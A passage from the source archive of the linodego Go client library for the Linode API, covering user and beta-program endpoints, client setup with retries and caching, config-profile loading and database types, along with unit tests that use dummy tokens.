UserGrantsUpdateOptions) (*UserGrants, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } username = url.PathEscape(username) e := fmt.Sprintf("account/users/%s/grants", username) req := c.R(ctx).SetResult(&UserGrants{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*UserGrants), nil } golang-github-linode-linodego-1.28.0/account_users.go000066400000000000000000000102251455402072200226040ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // User represents a User object type User struct { Username string `json:"username"` Email string `json:"email"` Restricted bool `json:"restricted"` TFAEnabled bool `json:"tfa_enabled"` SSHKeys []string `json:"ssh_keys"` PasswordCreated *time.Time `json:"-"` VerifiedPhoneNumber *string `json:"verified_phone_number"` } // UserCreateOptions fields are those accepted by CreateUser type UserCreateOptions struct { Username string `json:"username"` Email string `json:"email"` Restricted bool `json:"restricted"` } // UserUpdateOptions fields are those accepted by UpdateUser type UserUpdateOptions struct { Username string `json:"username,omitempty"` Restricted *bool `json:"restricted,omitempty"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *User) UnmarshalJSON(b []byte) error { type Mask User p := struct { *Mask PasswordCreated *parseabletime.ParseableTime `json:"password_created"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.PasswordCreated = (*time.Time)(p.PasswordCreated) return nil } // GetCreateOptions converts a User to UserCreateOptions for use in CreateUser func (i User) GetCreateOptions() (o UserCreateOptions) { o.Username = i.Username o.Email = i.Email o.Restricted = i.Restricted return } // GetUpdateOptions converts a User to UserUpdateOptions for use in UpdateUser func (i User) GetUpdateOptions() (o UserUpdateOptions) { o.Username = i.Username o.Restricted = copyBool(&i.Restricted) return } // UsersPagedResponse represents a paginated User API response type UsersPagedResponse struct { *PageOptions Data []User `json:"data"` } // endpoint gets the endpoint URL for User func (UsersPagedResponse) endpoint(_ ...any) string { return "account/users" } func (resp *UsersPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(UsersPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*UsersPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListUsers lists Users on the account func (c *Client) ListUsers(ctx context.Context, opts *ListOptions) ([]User, error) { response := UsersPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetUser gets the user with the provided ID func (c *Client) GetUser(ctx context.Context, userID string) (*User, error) { userID = url.PathEscape(userID) e := fmt.Sprintf("account/users/%s", userID) req := c.R(ctx).SetResult(&User{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*User), nil } // CreateUser creates a User. The email address must be confirmed before the // User account can be accessed. func (c *Client) CreateUser(ctx context.Context, opts UserCreateOptions) (*User, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "account/users" req := c.R(ctx).SetResult(&User{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*User), nil } // UpdateUser updates the User with the specified id func (c *Client) UpdateUser(ctx context.Context, userID string, opts UserUpdateOptions) (*User, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } userID = url.PathEscape(userID) e := fmt.Sprintf("account/users/%s", userID) req := c.R(ctx).SetResult(&User{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*User), nil } // DeleteUser deletes the User with the specified id func (c *Client) DeleteUser(ctx context.Context, userID string) error { userID = url.PathEscape(userID) e := fmt.Sprintf("account/users/%s", userID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/betas.go000066400000000000000000000051531455402072200210310ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // Beta Program is a new product or service that is not generally available to all Akamai customers. // Users must enroll into a beta in order to access the functionality. type BetaProgram struct { Label string `json:"label"` ID string `json:"id"` Description string `json:"description"` // Start date of the beta program. Started *time.Time `json:"-"` // End date of the beta program. Ended *time.Time `json:"-"` // Greenlight is a program that allows customers to gain access to // certain beta programs and to collect direct feedback from those customers. GreenlightOnly bool `json:"greenlight_only"` // Link to product marketing page for the beta program. MoreInfo string `json:"more_info"` } // BetasPagedResponse represents a paginated Beta Programs API response type BetasPagedResponse struct { *PageOptions Data []BetaProgram `json:"data"` } // endpoint gets the endpoint URL for BetaProgram func (BetasPagedResponse) endpoint(_ ...any) string { return "/betas" } // UnmarshalJSON implements the json.Unmarshaler interface func (beta *BetaProgram) UnmarshalJSON(b []byte) error { type Mask BetaProgram p := struct { *Mask Started *parseabletime.ParseableTime `json:"started"` Ended *parseabletime.ParseableTime `json:"ended"` }{ Mask: (*Mask)(beta), } if err := json.Unmarshal(b, &p); err != nil { return err } beta.Started = (*time.Time)(p.Started) beta.Ended = (*time.Time)(p.Ended) return nil } func (resp *BetasPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(BetasPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*BetasPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListBetaPrograms lists active beta programs func (c *Client) ListBetaPrograms(ctx context.Context, opts *ListOptions) ([]BetaProgram, error) { response := BetasPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetBetaProgram gets the beta program's detail with the ID func (c *Client) GetBetaProgram(ctx context.Context, betaID string) (*BetaProgram, error) { req := c.R(ctx).SetResult(&BetaProgram{}) betaID = url.PathEscape(betaID) b := fmt.Sprintf("betas/%s", betaID) r, err := coupleAPIErrors(req.Get(b)) if err != nil { return nil, err } return r.Result().(*BetaProgram), nil } golang-github-linode-linodego-1.28.0/client.go000066400000000000000000000317631455402072200212170ustar00rootroot00000000000000package linodego import ( "context" "fmt" "log" "net/http" "net/url" "os" "path" "path/filepath" "reflect" "strconv" "sync" "time" "github.com/go-resty/resty/v2" ) const ( // APIConfigEnvVar environment var to get path to Linode config APIConfigEnvVar = "LINODE_CONFIG" // APIConfigProfileEnvVar specifies the profile to use when loading from a Linode config APIConfigProfileEnvVar = "LINODE_PROFILE" // APIHost Linode API hostname APIHost = "api.linode.com" // APIHostVar environment var to check for alternate API URL APIHostVar = "LINODE_URL" // APIHostCert environment var containing path to CA cert to validate against APIHostCert = "LINODE_CA" // APIVersion Linode API version APIVersion = "v4" // APIVersionVar environment var to check for alternate API Version APIVersionVar = "LINODE_API_VERSION" // APIProto connect to API with http(s) APIProto = "https" // APIEnvVar environment var to check for API token APIEnvVar = "LINODE_TOKEN" // APISecondsPerPoll how frequently to poll for new Events or Status in WaitFor functions APISecondsPerPoll = 3 // Maximum wait time for retries APIRetryMaxWaitTime = time.Duration(30) * time.Second ) var envDebug = false // Client is a wrapper around the Resty client type Client struct { resty *resty.Client userAgent string debug bool retryConditionals []RetryConditional pollInterval time.Duration baseURL string apiVersion string apiProto string selectedProfile string loadedProfile string configProfiles map[string]ConfigProfile // Fields for caching endpoint responses shouldCache bool cacheExpiration time.Duration cachedEntries map[string]clientCacheEntry cachedEntryLock *sync.RWMutex } type EnvDefaults struct { Token string Profile string } type clientCacheEntry struct { Created time.Time Data any // If != nil, use this instead of the // global expiry ExpiryOverride *time.Duration } type ( Request = resty.Request Logger = resty.Logger ) func init() { // Wether or not we will enable Resty debugging output if apiDebug, ok := os.LookupEnv("LINODE_DEBUG"); ok { if parsed, err := strconv.ParseBool(apiDebug); err == nil { envDebug = parsed log.Println("[INFO] LINODE_DEBUG being set to", envDebug) } else { log.Println("[WARN] LINODE_DEBUG should be an integer, 0 or 1") } } } // SetUserAgent sets a custom user-agent for HTTP requests func (c *Client) SetUserAgent(ua string) *Client { c.userAgent = ua c.resty.SetHeader("User-Agent", c.userAgent) return c } // R wraps resty's R method func (c *Client) R(ctx context.Context) *resty.Request { return c.resty.R(). ExpectContentType("application/json"). SetHeader("Content-Type", "application/json"). SetContext(ctx). SetError(APIError{}) } // SetDebug sets the debug on resty's client func (c *Client) SetDebug(debug bool) *Client { c.debug = debug c.resty.SetDebug(debug) return c } // SetLogger allows the user to override the output // logger for debug logs. func (c *Client) SetLogger(logger Logger) *Client { c.resty.SetLogger(logger) return c } // OnBeforeRequest adds a handler to the request body to run before the request is sent func (c *Client) OnBeforeRequest(m func(request *Request) error) { c.resty.OnBeforeRequest(func(client *resty.Client, req *resty.Request) error { return m(req) }) } // SetBaseURL sets the base URL of the Linode v4 API (https://api.linode.com/v4) func (c *Client) SetBaseURL(baseURL string) *Client { baseURLPath, _ := url.Parse(baseURL) c.baseURL = path.Join(baseURLPath.Host, baseURLPath.Path) c.apiProto = baseURLPath.Scheme c.updateHostURL() return c } // SetAPIVersion sets the version of the API to interface with func (c *Client) SetAPIVersion(apiVersion string) *Client { c.apiVersion = apiVersion c.updateHostURL() return c } func (c *Client) updateHostURL() { apiProto := APIProto baseURL := APIHost apiVersion := APIVersion if c.baseURL != "" { baseURL = c.baseURL } if c.apiVersion != "" { apiVersion = c.apiVersion } if c.apiProto != "" { apiProto = c.apiProto } c.resty.SetBaseURL( fmt.Sprintf( "%s://%s/%s", apiProto, baseURL, url.PathEscape(apiVersion), ), ) } // SetRootCertificate adds a root certificate to the underlying TLS client config func (c *Client) SetRootCertificate(path string) *Client { c.resty.SetRootCertificate(path) return c } // SetToken sets the API token for all requests from this client // Only necessary if you haven't already provided the http client to NewClient() configured with the token. func (c *Client) SetToken(token string) *Client { c.resty.SetHeader("Authorization", fmt.Sprintf("Bearer %s", token)) return c } // SetRetries adds retry conditions for "Linode Busy." errors and 429s. func (c *Client) SetRetries() *Client { c. addRetryConditional(linodeBusyRetryCondition). addRetryConditional(tooManyRequestsRetryCondition). addRetryConditional(serviceUnavailableRetryCondition). addRetryConditional(requestTimeoutRetryCondition). addRetryConditional(requestGOAWAYRetryCondition). addRetryConditional(requestNGINXRetryCondition). SetRetryMaxWaitTime(APIRetryMaxWaitTime) configureRetries(c) return c } // AddRetryCondition adds a RetryConditional function to the Client func (c *Client) AddRetryCondition(retryCondition RetryConditional) *Client { c.resty.AddRetryCondition(resty.RetryConditionFunc(retryCondition)) return c } func (c *Client) addRetryConditional(retryConditional RetryConditional) *Client { c.retryConditionals = append(c.retryConditionals, retryConditional) return c } func (c *Client) addCachedResponse(endpoint string, response any, expiry *time.Duration) { if !c.shouldCache { return } responseValue := reflect.ValueOf(response) entry := clientCacheEntry{ Created: time.Now(), ExpiryOverride: expiry, } switch responseValue.Kind() { case reflect.Ptr: // We want to automatically deref pointers to // avoid caching mutable data. entry.Data = responseValue.Elem().Interface() default: entry.Data = response } c.cachedEntryLock.Lock() defer c.cachedEntryLock.Unlock() c.cachedEntries[endpoint] = entry } func (c *Client) getCachedResponse(endpoint string) any { if !c.shouldCache { return nil } c.cachedEntryLock.RLock() // Hacky logic to dynamically RUnlock // only if it is still locked by the // end of the function. // This is necessary as we take write // access if the entry has expired. rLocked := true defer func() { if rLocked { c.cachedEntryLock.RUnlock() } }() entry, ok := c.cachedEntries[endpoint] if !ok { return nil } // Handle expired entries elapsedTime := time.Since(entry.Created) hasExpired := elapsedTime > c.cacheExpiration if entry.ExpiryOverride != nil { hasExpired = elapsedTime > *entry.ExpiryOverride } if hasExpired { // We need to give up our read access and request read-write access c.cachedEntryLock.RUnlock() rLocked = false c.cachedEntryLock.Lock() defer c.cachedEntryLock.Unlock() delete(c.cachedEntries, endpoint) return nil } return c.cachedEntries[endpoint].Data } // InvalidateCache clears all cached responses for all endpoints. func (c *Client) InvalidateCache() { c.cachedEntryLock.Lock() defer c.cachedEntryLock.Unlock() // GC will handle the old map c.cachedEntries = make(map[string]clientCacheEntry) } // InvalidateCacheEndpoint invalidates a single cached endpoint. func (c *Client) InvalidateCacheEndpoint(endpoint string) error { u, err := url.Parse(endpoint) if err != nil { return fmt.Errorf("failed to parse URL for caching: %w", err) } c.cachedEntryLock.Lock() defer c.cachedEntryLock.Unlock() delete(c.cachedEntries, u.Path) return nil } // SetGlobalCacheExpiration sets the desired time for any cached response // to be valid for. func (c *Client) SetGlobalCacheExpiration(expiryTime time.Duration) { c.cacheExpiration = expiryTime } // UseCache sets whether response caching should be used func (c *Client) UseCache(value bool) { c.shouldCache = value } // SetRetryMaxWaitTime sets the maximum delay before retrying a request. func (c *Client) SetRetryMaxWaitTime(max time.Duration) *Client { c.resty.SetRetryMaxWaitTime(max) return c } // SetRetryWaitTime sets the default (minimum) delay before retrying a request. func (c *Client) SetRetryWaitTime(min time.Duration) *Client { c.resty.SetRetryWaitTime(min) return c } // SetRetryAfter sets the callback function to be invoked with a failed request // to determine wben it should be retried. func (c *Client) SetRetryAfter(callback RetryAfter) *Client { c.resty.SetRetryAfter(resty.RetryAfterFunc(callback)) return c } // SetRetryCount sets the maximum retry attempts before aborting. func (c *Client) SetRetryCount(count int) *Client { c.resty.SetRetryCount(count) return c } // SetPollDelay sets the number of milliseconds to wait between events or status polls. // Affects all WaitFor* functions and retries. func (c *Client) SetPollDelay(delay time.Duration) *Client { c.pollInterval = delay return c } // GetPollDelay gets the number of milliseconds to wait between events or status polls. // Affects all WaitFor* functions and retries. func (c *Client) GetPollDelay() time.Duration { return c.pollInterval } // SetHeader sets a custom header to be used in all API requests made with the current // client. // NOTE: Some headers may be overridden by the individual request functions. func (c *Client) SetHeader(name, value string) { c.resty.SetHeader(name, value) } // NewClient factory to create new Client struct func NewClient(hc *http.Client) (client Client) { if hc != nil { client.resty = resty.NewWithClient(hc) } else { client.resty = resty.New() } client.shouldCache = true client.cacheExpiration = time.Minute * 15 client.cachedEntries = make(map[string]clientCacheEntry) client.cachedEntryLock = &sync.RWMutex{} client.SetUserAgent(DefaultUserAgent) baseURL, baseURLExists := os.LookupEnv(APIHostVar) if baseURLExists { client.SetBaseURL(baseURL) } apiVersion, apiVersionExists := os.LookupEnv(APIVersionVar) if apiVersionExists { client.SetAPIVersion(apiVersion) } else { client.SetAPIVersion(APIVersion) } certPath, certPathExists := os.LookupEnv(APIHostCert) if certPathExists { cert, err := os.ReadFile(filepath.Clean(certPath)) if err != nil { log.Fatalf("[ERROR] Error when reading cert at %s: %s\n", certPath, err.Error()) } client.SetRootCertificate(certPath) if envDebug { log.Printf("[DEBUG] Set API root certificate to %s with contents %s\n", certPath, cert) } } client. SetRetryWaitTime((1000 * APISecondsPerPoll) * time.Millisecond). SetPollDelay(APISecondsPerPoll * time.Second). SetRetries(). SetDebug(envDebug) return } // NewClientFromEnv creates a Client and initializes it with values // from the LINODE_CONFIG file and the LINODE_TOKEN environment variable. func NewClientFromEnv(hc *http.Client) (*Client, error) { client := NewClient(hc) // Users are expected to chain NewClient(...) and LoadConfig(...) to customize these options configPath, err := resolveValidConfigPath() if err != nil { return nil, err } // Populate the token from the environment. // Tokens should be first priority to maintain backwards compatibility if token, ok := os.LookupEnv(APIEnvVar); ok && token != "" { client.SetToken(token) return &client, nil } if p, ok := os.LookupEnv(APIConfigEnvVar); ok { configPath = p } else if !ok && configPath == "" { return nil, fmt.Errorf("no linode config file or token found") } configProfile := DefaultConfigProfile if p, ok := os.LookupEnv(APIConfigProfileEnvVar); ok { configProfile = p } client.selectedProfile = configProfile // We should only load the config if the config file exists if _, err := os.Stat(configPath); err != nil { return nil, fmt.Errorf("error loading config file %s: %w", configPath, err) } err = client.preLoadConfig(configPath) return &client, err } func (c *Client) preLoadConfig(configPath string) error { if envDebug { log.Printf("[INFO] Loading profile from %s\n", configPath) } if err := c.LoadConfig(&LoadConfigOptions{ Path: configPath, SkipLoadProfile: true, }); err != nil { return err } // We don't want to load the profile until the user is actually making requests c.OnBeforeRequest(func(request *Request) error { if c.loadedProfile != c.selectedProfile { if err := c.UseProfile(c.selectedProfile); err != nil { return err } } return nil }) return nil } func copyBool(bPtr *bool) *bool { if bPtr == nil { return nil } t := *bPtr return &t } func copyInt(iPtr *int) *int { if iPtr == nil { return nil } t := *iPtr return &t } func copyString(sPtr *string) *string { if sPtr == nil { return nil } t := *sPtr return &t } func copyTime(tPtr *time.Time) *time.Time { if tPtr == nil { return nil } t := *tPtr return &t } func generateListCacheURL(endpoint string, opts *ListOptions) (string, error) { if opts == nil { return endpoint, nil } hashedOpts, err := opts.Hash() if err != nil { return endpoint, err } return fmt.Sprintf("%s:%s", endpoint, hashedOpts), nil } golang-github-linode-linodego-1.28.0/client_test.go000066400000000000000000000050241455402072200222450ustar00rootroot00000000000000package linodego import ( "fmt" "testing" "github.com/google/go-cmp/cmp" ) func TestClient_SetAPIVersion(t *testing.T) { defaultURL := "https://api.linode.com/v4" baseURL := "api.very.cool.com" apiVersion := "v4beta" expectedHost := fmt.Sprintf("https://%s/%s", baseURL, apiVersion) updatedBaseURL := "api.more.cool.com" updatedAPIVersion := "v4beta_changed" updatedExpectedHost := fmt.Sprintf("https://%s/%s", updatedBaseURL, updatedAPIVersion) protocolBaseURL := "http://api.more.cool.com" protocolAPIVersion := "v4_http" protocolExpectedHost := fmt.Sprintf("%s/%s", protocolBaseURL, protocolAPIVersion) client := NewClient(nil) if client.resty.BaseURL != defaultURL { t.Fatal(cmp.Diff(client.resty.BaseURL, defaultURL)) } client.SetBaseURL(baseURL) client.SetAPIVersion(apiVersion) if client.resty.BaseURL != expectedHost { t.Fatal(cmp.Diff(client.resty.BaseURL, expectedHost)) } // Ensure setting twice does not cause conflicts client.SetBaseURL(updatedBaseURL) client.SetAPIVersion(updatedAPIVersion) if client.resty.BaseURL != updatedExpectedHost { t.Fatal(cmp.Diff(client.resty.BaseURL, updatedExpectedHost)) } // Revert client.SetBaseURL(baseURL) client.SetAPIVersion(apiVersion) if client.resty.BaseURL != expectedHost { t.Fatal(cmp.Diff(client.resty.BaseURL, expectedHost)) } // Custom protocol client.SetBaseURL(protocolBaseURL) client.SetAPIVersion(protocolAPIVersion) if client.resty.BaseURL != protocolExpectedHost { t.Fatal(cmp.Diff(client.resty.BaseURL, expectedHost)) } } func TestClient_NewFromEnv(t *testing.T) { file := createTestConfig(t, configNewFromEnv) // This is cool t.Setenv(APIEnvVar, "") t.Setenv(APIConfigEnvVar, file.Name()) t.Setenv(APIConfigProfileEnvVar, "cool") client, err := NewClientFromEnv(nil) if err != nil { t.Fatal(err) } if client.selectedProfile != "cool" { t.Fatalf("mismatched profile: %s != %s", client.selectedProfile, "cool") } if client.loadedProfile != "" { t.Fatal("expected empty loaded profile") } if err := client.UseProfile("cool"); err != nil { t.Fatal(err) } if client.loadedProfile != "cool" { t.Fatal("expected cool as loaded profile") } } func TestClient_NewFromEnvToken(t *testing.T) { t.Setenv(APIEnvVar, "blah") client, err := NewClientFromEnv(nil) if err != nil { t.Fatal(err) } if client.resty.Header.Get("Authorization") != "Bearer blah" { t.Fatal("token not found in auth header: blah") } } const configNewFromEnv = ` [default] api_url = api.cool.linode.com api_version = v4beta [cool] token = blah ` golang-github-linode-linodego-1.28.0/config.go000066400000000000000000000060031455402072200211730ustar00rootroot00000000000000package linodego import ( "fmt" "os" "strings" "gopkg.in/ini.v1" ) const ( DefaultConfigProfile = "default" ) var DefaultConfigPaths = []string{ "%s/.config/linode", "%s/.config/linode-cli", } type ConfigProfile struct { APIToken string `ini:"token"` APIVersion string `ini:"api_version"` APIURL string `ini:"api_url"` } type LoadConfigOptions struct { Path string Profile string SkipLoadProfile bool } // LoadConfig loads a Linode config according to the option's argument. // If no options are specified, the following defaults will be used: // Path: ~/.config/linode // Profile: default func (c *Client) LoadConfig(options *LoadConfigOptions) error { path, err := resolveValidConfigPath() if err != nil { return err } profileOption := DefaultConfigProfile if options != nil { if options.Path != "" { path = options.Path } if options.Profile != "" { profileOption = options.Profile } } cfg, err := ini.Load(path) if err != nil { return err } defaultConfig := ConfigProfile{ APIToken: "", APIURL: APIHost, APIVersion: APIVersion, } if cfg.HasSection("default") { err := cfg.Section("default").MapTo(&defaultConfig) if err != nil { return fmt.Errorf("failed to map default profile: %w", err) } } result := make(map[string]ConfigProfile) for _, profile := range cfg.Sections() { name := strings.ToLower(profile.Name()) f := defaultConfig if err := profile.MapTo(&f); err != nil { return fmt.Errorf("failed to map values: %w", err) } result[name] = f } c.configProfiles = result if !options.SkipLoadProfile { if err := c.UseProfile(profileOption); err != nil { return fmt.Errorf("unable to use profile %s: %w", profileOption, err) } } return nil } // UseProfile switches client to use the specified profile. // The specified profile must be already be loaded using client.LoadConfig(...) func (c *Client) UseProfile(name string) error { name = strings.ToLower(name) profile, ok := c.configProfiles[name] if !ok { return fmt.Errorf("profile %s does not exist", name) } if profile.APIToken == "" { return fmt.Errorf("unable to resolve linode_token for profile %s", name) } if profile.APIURL == "" { return fmt.Errorf("unable to resolve linode_api_url for profile %s", name) } if profile.APIVersion == "" { return fmt.Errorf("unable to resolve linode_api_version for profile %s", name) } c.SetToken(profile.APIToken) c.SetBaseURL(profile.APIURL) c.SetAPIVersion(profile.APIVersion) c.selectedProfile = name c.loadedProfile = name return nil } func FormatConfigPath(path string) (string, error) { homeDir, err := os.UserHomeDir() if err != nil { return "", err } return fmt.Sprintf(path, homeDir), nil } func resolveValidConfigPath() (string, error) { for _, cfg := range DefaultConfigPaths { p, err := FormatConfigPath(cfg) if err != nil { return "", err } if _, err := os.Stat(p); err != nil { continue } return p, err } // An empty result may not be an error return "", nil } golang-github-linode-linodego-1.28.0/config_test.go000066400000000000000000000071631455402072200222420ustar00rootroot00000000000000package linodego import ( "fmt" "os" "testing" ) func TestConfig_LoadWithDefaults(t *testing.T) { client := NewClient(nil) file := createTestConfig(t, configLoadWithDefault) err := client.LoadConfig(&LoadConfigOptions{ Path: file.Name(), }) if err != nil { t.Fatal(err) } if len(client.configProfiles) != 1 { fmt.Println(client.configProfiles) t.Fatalf("mismatched profile count: %d != %d", len(client.configProfiles), 1) } p, ok := client.configProfiles["default"] if !ok { t.Fatalf("default profile does not exist") } if p.APIToken != "blah" { t.Fatalf("mismatched api token: %s != %s", p.APIToken, "blah") } if p.APIURL != "api.cool.linode.com" { t.Fatalf("mismatched api url: %s != %s", p.APIURL, "api.cool.linode.com") } if p.APIVersion != "v4beta" { t.Fatalf("mismatched api version: %s != %s", p.APIVersion, "v4beta") } expectedURL := "https://api.cool.linode.com/v4beta" if client.resty.BaseURL != expectedURL { t.Fatalf("mismatched host url: %s != %s", client.resty.BaseURL, expectedURL) } if client.resty.Header.Get("Authorization") != "Bearer "+p.APIToken { t.Fatalf("token not found in auth header: %s", p.APIToken) } } func TestConfig_OverrideDefaults(t *testing.T) { client := NewClient(nil) file := createTestConfig(t, configOverrideDefaults) err := client.LoadConfig(&LoadConfigOptions{ Path: file.Name(), Profile: "cool", }) if err != nil { t.Fatal(err) } if len(client.configProfiles) != 2 { fmt.Println(client.configProfiles) t.Fatalf("mismatched profile count: %d != %d", len(client.configProfiles), 2) } p, ok := client.configProfiles["cool"] if !ok { t.Fatalf("cool profile does not exist") } if p.APIToken != "blah" { t.Fatalf("mismatched api token: %s != %s", p.APIToken, "blah") } if p.APIURL != "api.cool.linode.com" { t.Fatalf("mismatched api url: %s != %s", p.APIURL, "api.cool.linode.com") } if p.APIVersion != "v4" { t.Fatalf("mismatched api version: %s != %s", p.APIVersion, "v4") } expectedURL := "https://api.cool.linode.com/v4" if client.resty.BaseURL != expectedURL { t.Fatalf("mismatched host url: %s != %s", client.resty.BaseURL, expectedURL) } if client.resty.Header.Get("Authorization") != "Bearer "+p.APIToken { t.Fatalf("token not found in auth header: %s", p.APIToken) } } func TestConfig_NoDefaults(t *testing.T) { client := NewClient(nil) file := createTestConfig(t, configNoDefaults) err := client.LoadConfig(&LoadConfigOptions{ Path: file.Name(), Profile: "cool", }) if err != nil { t.Fatal(err) } if len(client.configProfiles) != 2 { fmt.Println(client.configProfiles) t.Fatalf("mismatched profile count: %d != %d", len(client.configProfiles), 2) } p, ok := client.configProfiles["cool"] if !ok { t.Fatalf("cool profile does not exist") } if p.APIToken != "mytoken" { t.Fatalf("mismatched api token: %s != %s", p.APIToken, "mytoken") } if client.resty.Header.Get("Authorization") != "Bearer "+p.APIToken { t.Fatalf("token not found in auth header: %s", p.APIToken) } } func createTestConfig(t *testing.T, conf string) *os.File { file, err := os.CreateTemp("", "linode") if err != nil { t.Fatal(err) } fmt.Fprint(file, conf) t.Cleanup(func() { file.Close() os.Remove(file.Name()) }) return file } const configLoadWithDefault = ` [default] token = blah api_url = api.cool.linode.com api_version = v4beta ` const configOverrideDefaults = ` [default] token = blah api_url = api.cool.linode.com api_version = v4beta [cool] api_version = v4 # Values from default are inherited here ` const configNoDefaults = ` [cool] token = mytoken # Linodego default values are inherited here ` golang-github-linode-linodego-1.28.0/databases.go000066400000000000000000000216231455402072200216620ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) type ( DatabaseEngineType string DatabaseDayOfWeek int DatabaseMaintenanceFrequency string DatabaseStatus string ) const ( DatabaseMaintenanceDayMonday DatabaseDayOfWeek = iota + 1 DatabaseMaintenanceDayTuesday DatabaseMaintenanceDayWednesday DatabaseMaintenanceDayThursday DatabaseMaintenanceDayFriday DatabaseMaintenanceDaySaturday DatabaseMaintenanceDaySunday ) const ( DatabaseMaintenanceFrequencyWeekly DatabaseMaintenanceFrequency = "weekly" DatabaseMaintenanceFrequencyMonthly DatabaseMaintenanceFrequency = "monthly" ) const ( DatabaseEngineTypeMySQL DatabaseEngineType = "mysql" DatabaseEngineTypePostgres DatabaseEngineType = "postgresql" ) const ( DatabaseStatusProvisioning DatabaseStatus = "provisioning" DatabaseStatusActive DatabaseStatus = "active" DatabaseStatusDeleting DatabaseStatus = "deleting" DatabaseStatusDeleted DatabaseStatus = "deleted" DatabaseStatusSuspending DatabaseStatus = "suspending" DatabaseStatusSuspended DatabaseStatus = "suspended" DatabaseStatusResuming DatabaseStatus = "resuming" DatabaseStatusRestoring DatabaseStatus = "restoring" DatabaseStatusFailed DatabaseStatus = "failed" DatabaseStatusDegraded DatabaseStatus = "degraded" DatabaseStatusUpdating DatabaseStatus = "updating" DatabaseStatusBackingUp DatabaseStatus = "backing_up" ) type DatabasesPagedResponse struct { *PageOptions Data []Database `json:"data"` } func (DatabasesPagedResponse) endpoint(_ ...any) string { return "databases/instances" } func (resp *DatabasesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(DatabasesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*DatabasesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } type DatabaseEnginesPagedResponse struct { *PageOptions Data []DatabaseEngine `json:"data"` } func (DatabaseEnginesPagedResponse) endpoint(_ ...any) string { return "databases/engines" } func (resp *DatabaseEnginesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(DatabaseEnginesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*DatabaseEnginesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } type DatabaseTypesPagedResponse struct { *PageOptions Data []DatabaseType `json:"data"` } func (DatabaseTypesPagedResponse) endpoint(_ ...any) string { return "databases/types" } func (resp *DatabaseTypesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(DatabaseTypesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*DatabaseTypesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // A Database is a instance of Linode Managed Databases type Database struct { ID int `json:"id"` Status DatabaseStatus `json:"status"` Label string `json:"label"` Hosts DatabaseHost `json:"hosts"` Region string `json:"region"` Type string `json:"type"` Engine string `json:"engine"` Version string `json:"version"` ClusterSize int `json:"cluster_size"` ReplicationType string `json:"replication_type"` SSLConnection bool `json:"ssl_connection"` Encrypted bool `json:"encrypted"` AllowList []string `json:"allow_list"` InstanceURI string `json:"instance_uri"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // DatabaseHost for Primary/Secondary of Database type DatabaseHost struct { Primary string `json:"primary"` Secondary string `json:"secondary,omitempty"` } // DatabaseEngine is information about Engines supported by Linode Managed Databases type DatabaseEngine struct { ID string `json:"id"` Engine string `json:"engine"` Version string `json:"version"` } // DatabaseMaintenanceWindow stores information about a MySQL cluster's maintenance window type DatabaseMaintenanceWindow struct { DayOfWeek DatabaseDayOfWeek `json:"day_of_week"` Duration int `json:"duration"` Frequency DatabaseMaintenanceFrequency `json:"frequency"` HourOfDay int `json:"hour_of_day"` WeekOfMonth *int `json:"week_of_month"` } // DatabaseType is information about the supported Database Types by Linode Managed Databases type DatabaseType struct { ID string `json:"id"` Label string `json:"label"` Class string `json:"class"` VirtualCPUs int `json:"vcpus"` Disk int `json:"disk"` Memory int `json:"memory"` Engines DatabaseTypeEngineMap `json:"engines"` } // DatabaseTypeEngineMap stores a list of Database Engine types by engine type DatabaseTypeEngineMap struct { MySQL []DatabaseTypeEngine `json:"mysql"` } // DatabaseTypeEngine Sizes and Prices type DatabaseTypeEngine struct { Quantity int `json:"quantity"` Price ClusterPrice `json:"price"` } // ClusterPrice for Hourly and Monthly price models type ClusterPrice struct { Hourly float32 `json:"hourly"` Monthly float32 `json:"monthly"` } func (d *Database) UnmarshalJSON(b []byte) error { type 